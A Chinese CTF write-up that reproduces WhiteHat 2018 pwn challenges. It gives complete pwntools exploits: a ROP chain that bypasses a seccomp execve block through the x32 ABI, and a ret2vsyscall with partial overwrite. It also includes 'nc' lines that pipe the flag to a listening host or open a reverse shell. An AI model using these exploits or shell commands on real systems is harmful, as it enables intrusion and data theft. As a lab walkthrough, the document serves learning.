越南的一场比赛, 比赛当天陪女朋友理发, 在理发店看了 pwn01, 刚有思路, 电脑没电了, 第二天接着做时发现比赛结束了. 比赛结束后参考 writeup 复现了三道 pwn, 收获不少, 这里记录一下.
Pwn01
题目链接
题目分析
附件给了很多文件, 根据 run.sh 和 ptrace_64.cpp 大概看出程序禁用了 poll, clone, fork, vfork, execve, kill, tkill, tgkill 和 write 等系统调用以及过滤了 /home/gift/flag.txt 字符串. 禁用了 execve 说明无论使用 system 还是 one_gadget 都不能 get shell, 过滤了 /home/gift/flag.txt 防止使用 orw 的方法直接读取 flag, 当然这两点都是可以绕过的
再回过头看 giftshop, 程序没有开启 canary 保护(checksec 可能会有误报, 最准确的方法是查看 __stack_chk_fail 附近的汇编). 经过分析, 程序中存在如下的结构体
1
2
3
4
5
6
7
8
9
10
|
WhiteHat2018_pwn01 [master●●] cat struct
struct GOOD
{
char name[30];
char receiver[34];
char *item;
char *address;
char *a_letter;
unsigned int price;
}
|
用 IDA 观察程序流程, 发现程序刚进入时就打印了一个全局变量的地址, 这样 PIE 保护也被绕过了
1
2
|
puts("OK First, here is a giftcard, it may help you in next time you come here !");
printf("%p\n", &loyal_flag); // bypass PIE
|
继续分析, 程序有 order, show_order, delete_order, loyal 等四个功能, 而查看 order 功能时, 就发现了明显的栈溢出以及栈溢出引起的数组越界的漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
|
else
{
setbuf(stdin, 0LL);
puts("Enter your address: ");
fgets(good_list[i].address, 0x200, stdin);
setbuf(stdin, 0LL);
puts("A letter for her/him:");
filter(s);
fgets(s, 230, stdin); // bof bug
setbuf(stdin, 0LL);
good_list[i].a_letter = (char *)malloc(0x1EuLL);
strncpy(good_list[i].a_letter, s, 0x1EuLL);
}
|
漏洞利用
Step 1:
看一下栈的布局发现能完整的覆盖到 order 的 rbp 以及返回地址, 溢出的长度不足以构造长的 ropchain, 考虑使用 stack-pivot 将栈转移到 bss 段(绕过了 PIE 保护, bss 段的地址相当于是已知的), 构造以下的栈结构
1
2
3
4
5
6
7
8
9
|
+-----------------+
| |
|padding |
| |
+-----------------+
|elf.bss() + 0x500| <- rbp
+-----------------+
|fgets_gadgets | <- ret addr
+-----------------+
|
其中, fgets_gedgets 为
1
2
3
4
5
|
.text:00000000000018B9 mov rdx, cs:stdin ; stream
.text:00000000000018C0 lea rax, [rbp+s]
.text:00000000000018C7 mov esi, 0E6h ; n
.text:00000000000018CC mov rdi, rax ; s
.text:00000000000018CF call _fgets
|
覆盖返回地址为 elf.address + 0x18B9 时, order 函数将返回到这里, 从 stdin 读取最多 0xE6 个数据并保存到 rbp+s 即 rbp - 0xD0 的位置, 上图的栈结构中, 即会把输入保存到 elf.bss() + 0x500 - 0xD0 上; (不建议使用 bss 开头的地址, 因为 bss 的开头存储了stdin, stdout, stderr 等重要 IO_file 结构体, 随意覆盖可能会在 io 上出现问题)
同时需要注意的是需要给 i 一个合理的值, 否则在执行
1
|
good_list[i].a_letter = (char *)malloc(0x1EuLL);
|
一句时将会因为地址不可写程序发生 crash
Step 2:
这样通过一次 rop, 我们就能在 bss 段这一个固定的地址上构造一段相对较长的利用链. 关键是要构造什么样的利用链, 程序已经过滤了 execve 这个系统调用, 用常规方法就不能 get shell 了, 但实际上这个过滤还是很弱的, 我们有很多方法可以利用, 比如使用 execveat 或者使用 x32 abi 这个特性
1
2
3
4
5
6
7
|
Since 3.4 the Linux kernel has had a feature called the X32 ABI; 64bit syscalls with 32bit pointers.
'''
WhiteHat2018_pwn01 [master●●] grep -i execve /usr/include/asm/unistd_x32.h
#define __NR_execve (__X32_SYSCALL_BIT + 520)
#define __NR_execveat (__X32_SYSCALL_BIT + 545)
'''
|
简单的说, 就是可以用 0x40000000 加上一个系统调用号的方式进行系统调用, 比如使用 0x40000000 + 520 的方式实现 execve 这个系统调用, 这样就实现了绕过黑名单, 因此可以构造如下的 ropchain 来 get shell
1
2
3
4
5
6
7
8
|
prdi = 0x000000000000225f + elf.address
prsi = 0x0000000000002261 + elf.address
prdx = 0x0000000000002265 + elf.address
prax = 0x0000000000002267 + elf.address
syscall = 0x0000000000002254 + elf.address
binsh = elf.bss() + 0x500 - 0xd0
rop = flat(["/bin/sh\0", prax, 0x40000000 + 520, prdi, binsh, prsi, 0, prdx, 0, syscall])
# 刚开始还很奇怪这个程序中有这么多好用的 gadget, 后来看了别人 writeup 才知道这是出题方故意加进去的- -
|
Step 3:
那么这时候就只差一步了: 控制 rip 到我们构造的 ropchian 就能拿到 shell 了, 这一步不难做到, 第二次 fgets 时, 输入从 rbp - 0xE0 开始, 我们依然能控制 rbp, 并且程序中也可以找到 leave; ret
这个 gadget, 这样再进行一次栈迁移, 控制返回地址为我们输入的 ropchain 的位置即可
exp
最终的 exp 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
WhiteHat2018_pwn01 [master●●] cat exp.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep
import roputils as rp
from ctypes import c_uint64
import os
import sys
elfPath = "./giftshop"
libcPath = ""
remoteAddr = "pwn01.grandprix.whitehatvn.com"
remotePort = 26129
context.binary = elfPath
elf = context.binary
if sys.argv[1] == "l":
io = process(elfPath)
libc = elf.libc
else:
if sys.argv[1] == "d":
io = process(elfPath, env = {"LD_PRELOAD": libcPath})
else:
io = remote(remoteAddr, remotePort)
context.log_level = "info"
if libcPath:
libc = ELF(libcPath)
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
success = lambda name, value: log.success("{} -> {:#x}".format(name, value))
def DEBUG(bps = []):
cmd = "set follow-fork-mode parent\n"
base = elf.address
cmd += ''.join(['b *{:#x}\n'.format(b + base) for b in bps])
cmd += "c"
raw_input("DEBUG: ")
gdb.attach(io, cmd)
def bof(letter):
assert len(letter) < 240
io.sendlineafter(":\n", "1")
io.sendlineafter("y/n\n", "n")
io.sendlineafter("txt\n", "1")
io.sendline("6")
io.sendlineafter("y/n\n", "y")
io.sendlineafter(": \n", "address")
io.sendlineafter(":\n", letter)
if __name__ == "__main__":
io.recvuntil(" !\n")
elf.address = int(io.recvuntil("\n", drop = True), 16) - 0x2030D8
success("elf", elf.address)
io.sendlineafter("??\n", "0000")
io.sendlineafter(": \n", "1111")
# DEBUG([0x19BC])
fgets_gadgets = 0x18B9 + elf.address
bof(flat(['\0' * 0xd0, elf.bss() + 0x500, fgets_gadgets]))
leaveret = 0x0000000000001176 + elf.address
prdi = 0x000000000000225f + elf.address
prsi = 0x0000000000002261 + elf.address
prdx = 0x0000000000002265 + elf.address
prax = 0x0000000000002267 + elf.address
syscall = 0x0000000000002254 + elf.address
binsh = elf.bss() + 0x500 - 0xd0
rop = flat(["/bin/sh\0", prax, 0x40000000 + 520, prdi, binsh, prsi, 0, prdx, 0, syscall])
payload = rop.ljust(0xd0, '\0')
payload += p64(elf.bss() + 0x500 - 0xd0)
payload += p64(leaveret)
assert len(payload) < 240
io.sendline(payload)
io.interactive()
|
Pwn02
tcache uaf off-by-one null
Pwn03
这道题挺有意思, 程序给了一个二进制文件和共享库, 下载文件
题目分析
程序开启了所有保护, 并且有意思的是给的 libc 也是 patch 过得, 找一下 BuildID 相同的 libc, 查看 patch 的内容
1
2
3
4
5
6
|
WhiteHat2018_pwn03 [master●] file ~/libc-database/db/libc6_2.27-3ubuntu1_amd64.so
/home/m4x/libc-database/db/libc6_2.27-3ubuntu1_amd64.so: ELF 64-bit LSB pie executable x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped
WhiteHat2018_pwn03 [master●] file ./libc-2.27.so
./libc-2.27.so: ELF 64-bit LSB pie executable x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped
WhiteHat2018_pwn03 [master●] diff libc-2.27.so ~/libc-database/db/libc6_2.27-3ubuntu1_amd64.so
二进制文件 libc-2.27.so 和 /home/m4x/libc-database/db/libc6_2.27-3ubuntu1_amd64.so 不同
|
这里我用的是 hexdiff
只有这一处是不同的, IDA 中可以看出此处的功能相当于 add rsi 127; jmp system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
.text:000000000004F43A add rdi, 7Fh
.text:000000000004F43E jmp short loc_4F45B
.text:000000000004F45B loc_4F45B: ; CODE XREF: sub_4F360+DE↑j
.text:000000000004F45B call sub_4EEB0
.text:000000000004F460 test eax, eax
.text:000000000004F462 setz al
.text:000000000004F465 add rsp, 8
.text:000000000004F469 movzx eax, al
.text:000000000004F46C retn
__int64 __fastcall system(__int64 a1)
{
__int64 result; // rax
if ( a1 )
result = sub_4EEB0();
else
result = (unsigned int)sub_4EEB0() == 0;
return result;
}
|
暂时不知道这段 gadget 有什么用, 先看二进制程序, 发现在 echo 函数中存在漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
void echo()
{
int v0; // ST0C_4
int v1; // [rsp+Ch] [rbp-E4h]
char buf[216]; // [rsp+10h] [rbp-E0h]
unsigned __int64 v3; // [rsp+E8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v0 = v1 + 32;
read(0, buf, v0);
printf("Echo machine: ", buf);
write(1, buf, v0);
close(0);
close(1);
strcpy(buf, deleteyourevilstring);
}
|
根据调试, read 时的长度 v0 是根据我们的输入决定的, 那么这里就存在一个栈溢出的漏洞, 有意思的是这道题的 stdin 和 stdout 也被关闭了, 根据现有的情况, 基本上溢出也只能利用一次了
1
2
3
4
5
6
7
8
9
10
|
.text:0000000000000EFE mov rax, [rbp+var_8]
.text:0000000000000F02 xor rax, fs:28h
.text:0000000000000F0B jmp short locret_F12
.text:0000000000000F0D ; ---------------------------------------------------------------------------
.text:0000000000000F0D call ___stack_chk_fail
.text:0000000000000F12 ; ---------------------------------------------------------------------------
.text:0000000000000F12
.text:0000000000000F12 locret_F12: ; CODE XREF: echo+A4↑j
.text:0000000000000F12 leave
.text:0000000000000F13 retn
|
查看 call __stack_chk_fail
附近的汇编, 发现虽然 checksec 检测有 canary, 但实际没起作用, 这样 canary 保护也就绕过了
Step 1:
我们先看一下在 echo 函数 ret 前寄存器和栈上的值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
pwndbg>
0x000055f1e44c0f13 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
RAX 0xa54266585221bb65
RBX 0x0
RCX 0x7ff52b699910 ◂— mov rdx, qword ptr [rsi]
RDX 0x676e6972747320
RDI 0x7ffd0eed2220 ◂— 0x676e6972747320 /* u' string' */
RSI 0x55f1e46c2020 ◂— 0x676e6972747320 /* u' string' */
R8 0xe
R9 0x0
R10 0x8
R11 0x7ff52b7923c0 ◂— loopne 0x7ff52b792436
R12 0x55f1e44c0b50 ◂— xor ebp, ebp
R13 0x7ffd0eed24c0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x6361616863616167 ('gaachaac')
RSP 0x7ffd0eed22f8 —▸ 0x55f1e44c0f69 ◂— nop
RIP 0x55f1e44c0f13 ◂— ret
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
0x55f1e44c0efd nop
0x55f1e44c0efe mov rax, qword ptr [rbp - 8]
0x55f1e44c0f02 xor rax, qword ptr fs:[0x28]
0x55f1e44c0f0b jmp 0x55f1e44c0f12
↓
0x55f1e44c0f12 leave
► 0x55f1e44c0f13 ret <0x55f1e44c0f69>
↓
0x55f1e44c0f69 nop
0x55f1e44c0f6a mov rax, qword ptr [rbp - 8]
0x55f1e44c0f6e xor rax, qword ptr fs:[0x28]
0x55f1e44c0f77 je 0x55f1e44c0f7e
↓
0x55f1e44c0f7e leave
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rsp 0x7ffd0eed22f8 —▸ 0x55f1e44c0f69 ◂— nop
01:0008│ 0x7ffd0eed2300 ◂— 0x31 /* u'1' */
02:0010│ 0x7ffd0eed2308 ◂— 0x0
... ↓
pwndbg> stack 25
00:0000│ rsp 0x7ffd0eed22f8 —▸ 0x55f1e44c0f69 ◂— nop
01:0008│ 0x7ffd0eed2300 ◂— 0x31 /* u'1' */
02:0010│ 0x7ffd0eed2308 ◂— 0x0
... ↓
0e:0070│ 0x7ffd0eed2368 ◂— 0x7ff500000000
0f:0078│ 0x7ffd0eed2370 —▸ 0x55f1e44c1268 ◂— 0x63616d206f686345 ('Echo mac')
10:0080│ 0x7ffd0eed2378 ◂— 0xc623073e3140da00
11:0088│ 0x7ffd0eed2380 ◂— 0x0
12:0090│ 0x7ffd0eed2388 —▸ 0x7ffd0eed23d0 —▸ 0x7ffd0eed23e0 —▸ 0x55f1e44c1060 ◂— push r15
13:0098│ 0x7ffd0eed2390 —▸ 0x55f1e44c0b50 ◂— xor ebp, ebp
14:00a0│ 0x7ffd0eed2398 —▸ 0x7ff52b632460 (system+32) ◂— test eax, eax
15:00a8│ 0x7ffd0eed23a0 —▸ 0x7ffd0eed24c0 ◂— 0x1
16:00b0│ 0x7ffd0eed23a8 —▸ 0x55f1e44c0fef ◂— nop
17:00b8│ 0x7ffd0eed23b0 ◂— 0x0
18:00c0│ 0x7ffd0eed23b8 ◂— 0x304e000000000000
pwndbg> telescope $rdi
00:0000│ rdi 0x7ffd0eed2220 ◂— 0x676e6972747320 /* u' string' */
01:0008│ 0x7ffd0eed2228 ◂— 0x6161616861616167 ('gaaahaaa')
02:0010│ 0x7ffd0eed2230 ◂— 0x6161616a61616169 ('iaaajaaa')
03:0018│ 0x7ffd0eed2238 ◂— 0x6161616c6161616b ('kaaalaaa')
04:0020│ 0x7ffd0eed2240 ◂— 0x6161616e6161616d ('maaanaaa')
05:0028│ 0x7ffd0eed2248 ◂— 0x616161706161616f ('oaaapaaa')
06:0030│ 0x7ffd0eed2250 ◂— 0x6161617261616171 ('qaaaraaa')
07:0038│ 0x7ffd0eed2258 ◂— 0x6161617461616173 ('saaataaa')
pwndbg>
|
有两点值得注意:
- rdi + 8 到之后的很长一段都是可控的
- 栈上有一个 system + 32 的地址
这样再结合之前 libc 上的 gadget
add rdi, 127; jmp system
, 就可以通过 partial overwrite 改写 system + 32 的低位为 gadget 的地址(调试验证此时只需改写最低位即可, 是可行的), 这样如果能控制 rip 为此 gadget 的地址, 就相当于控制了 system 的参数, 有了一次执行命令的机会
Step 2:
但问题出在 system + 32 在 rsp + 0xa0
这个位置, 我们需要控制 echo 函数返回到这里, 这个也好办, 用 ret2vsyscall 可以达到这个目的
TLDR:
可以把 vsyscall 理解为一段固定地址和内容的 gadget, 用这段 gadget 填满栈, 可以实现 slide 的功能
vsyscall 的地址可以直接用 vmmap 找到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55ef6a521000 0x55ef6a523000 r-xp 2000 0 /home/m4x/pwn_repo/WhiteHat2018_pwn03/onehit
0x55ef6a722000 0x55ef6a723000 r--p 1000 1000 /home/m4x/pwn_repo/WhiteHat2018_pwn03/onehit
0x55ef6a723000 0x55ef6a724000 rw-p 1000 2000 /home/m4x/pwn_repo/WhiteHat2018_pwn03/onehit
0x55ef6b8f7000 0x55ef6b918000 rw-p 21000 0 [heap]
0x7fe121ebd000 0x7fe1220a4000 r-xp 1e7000 0 /home/m4x/pwn_repo/WhiteHat2018_pwn03/libc-2.27.so
0x7fe1220a4000 0x7fe1222a4000 ---p 200000 1e7000 /home/m4x/pwn_repo/WhiteHat2018_pwn03/libc-2.27.so
0x7fe1222a4000 0x7fe1222a8000 r--p 4000 1e7000 /home/m4x/pwn_repo/WhiteHat2018_pwn03/libc-2.27.so
0x7fe1222a8000 0x7fe1222aa000 rw-p 2000 1eb000 /home/m4x/pwn_repo/WhiteHat2018_pwn03/libc-2.27.so
0x7fe1222aa000 0x7fe1222ae000 rw-p 4000 0
0x7fe1222ae000 0x7fe1222d3000 r-xp 25000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fe1224d0000 0x7fe1224d2000 rw-p 2000 0
0x7fe1224d2000 0x7fe1224d3000 r--p 1000 24000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fe1224d3000 0x7fe1224d4000 rw-p 1000 25000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fe1224d4000 0x7fe1224d5000 rw-p 1000 0
0x7ffc925ca000 0x7ffc925eb000 rw-p 21000 0 [stack]
0x7ffc925ec000 0x7ffc925ef000 r--p 3000 0 [vvar]
0x7ffc925ef000 0x7ffc925f1000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> x/5i 0xffffffffff600000
0xffffffffff600000: mov rax,0x60
0xffffffffff600007: syscall
0xffffffffff600009: ret
0xffffffffff60000a: int3
0xffffffffff60000b: int3
|
这样通过 ret2vsyscall + partial overwrite, 我们就能控制 system 执行一次指令了
Step 3:
还要注意的是, 程序的 stdout 被关掉了, 这个和 0ctf2018 的 babystack 类似, 可以使用 cat flag| nc ip port
的方式在公网 vps 上监听到(nc -l -p port
)
或者使用 nc -e ip port
来建立一个反向 shell, 原理可以参考
https://xz.aliyun.com/t/2548
https://xz.aliyun.com/t/2549
讲的很清楚
但还有一个更简单的方法,使用 sh flag;
利用报错来拿到 flag
exp
最终的 exp 如下, 其中的一些细节调试一遍会更加清楚
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
WhiteHat2018_pwn03 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from hashlib import sha512
import re
context.binary = "./onehit"
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
io = process("./onehit", env = {"LD_PRELOAD": "./libc-2.27.so"})
# io = remote("localhost", 9999)
def DEBUG(bps = []):
cmd = "set follow-fork-mode parent\n"
base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
cmd += ''.join(['b *{:#x}\n'.format(b + base) for b in bps])
cmd += "c"
raw_input("DEBUG: ")
gdb.attach(io, cmd)
def get_interger():
prefix, head = re.findall('"([A-Z]+)".*0x([0-9a-f]+)', io.recvuntil("The interger"))[0]
# print prefix, head
for i in range(0, 0x1fffff)[::-1]:
if sha512(prefix + str(i)).hexdigest().startswith(head):
return i
else:
log.error("Not Found!!!")
if __name__ == "__main__":
io.sendafter(" = ", str(get_interger()).ljust(0x100, '\x7f'))
io.sendafter("al?\n", "N0\0")
# DEBUG([0xEA0, 0xE7F])
io.sendafter("/bin/sh\n", "1\0")
'''
.text:000000000004F43A add rdi, 7Fh
.text:000000000004F43E jmp short loc_4F45B
'''
vsyscall = 0xffffffffff600000
# cmd = "cat flag| nc ip port;"
# cmd = "nc -e /bin/sh ip port;"
cmd = "sh flag;"
payload = '\0' * (0x7f + 0x10) + cmd
payload = payload.ljust(0xE0 + 8, '\0') + p64(vsyscall) * 20 + '\x3a'
io.sendafter("available\n", payload)
# pause()
io.interactive()
io.close()
|